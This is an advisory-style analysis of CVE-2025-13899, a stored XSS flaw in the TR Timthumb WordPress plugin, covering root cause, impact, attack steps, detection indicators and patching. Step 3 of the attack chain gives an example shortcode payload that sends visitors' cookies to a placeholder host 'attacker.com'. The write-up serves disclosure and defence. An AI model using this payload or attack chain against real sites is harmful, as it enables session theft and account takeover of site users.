CVE-2025-13899: 
WordPress vulnerability analysis and mitigation

CVE-2025-13899 is a Stored Cross-Site Scripting (XSS) vulnerability in the TR Timthumb plugin for WordPress, affecting all versions up to and including 1.0.4. The flaw arises from insufficient input sanitization and output escaping of shortcode attributes, enabling authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into pages. It was published on December 6, 2025, with the CVE assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically in the plugin's front-end rendering code located at inc/front.php (line 39). Shortcode attributes passed to the plugin are not properly sanitized before being rendered in page output, allowing an attacker to embed malicious JavaScript. Exploitation requires only Contributor-level WordPress authentication and no user interaction from the victim beyond visiting the injected page. The vulnerable code path is publicly visible in the WordPress plugin repository (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to persistently inject malicious scripts into WordPress pages, which execute in the browsers of any user who visits the affected page. This can lead to session cookie theft, credential harvesting, defacement, or redirection of users to malicious sites. While availability is not directly impacted, both confidentiality and integrity are at risk, with potential for account takeover of higher-privileged users such as administrators (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13899 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the TR Timthumb plugin (versions ≤ 1.0.4) by checking plugin metadata or using tools like WPScan.
2. Obtain Contributor Access: Register or compromise a Contributor-level (or higher) WordPress account on the target site.
3. Craft Malicious Shortcode: Create or edit a post/page using the TR Timthumb shortcode, injecting a malicious payload into a shortcode attribute, e.g., [tr_timthumb src="x" onerror="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish Content: Submit or save the post/page containing the injected shortcode. The unsanitized attribute is stored in the database.
5. Trigger Execution: When any user (including administrators) visits the page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing suspicious shortcode content with script tags or encoded JavaScript payloads.
• Database: WordPress wp_posts table entries containing shortcode attributes with <script>, javascript:, onerror=, or onload= patterns in TR Timthumb shortcodes.
• Network: Outbound browser requests from victim clients to unknown external domains shortly after loading pages containing TR Timthumb shortcodes (indicative of script execution).
• File System: No direct file system artifacts expected for stored XSS; however, monitor for unexpected plugin file modifications in the tr-timthumb plugin directory.

Users should update the TR Timthumb plugin to version 1.0.5 or later, which addresses the insufficient sanitization and output escaping issues. As an interim measure, site administrators can restrict Contributor-level user registration or disable the TR Timthumb plugin until patching is feasible. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts (Wordfence).

The vulnerability was discovered and reported by Wordfence, which published the advisory on December 6, 2025. Red Hat also tracked the CVE in their security database. No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified (Wordfence, Red Hat CVE).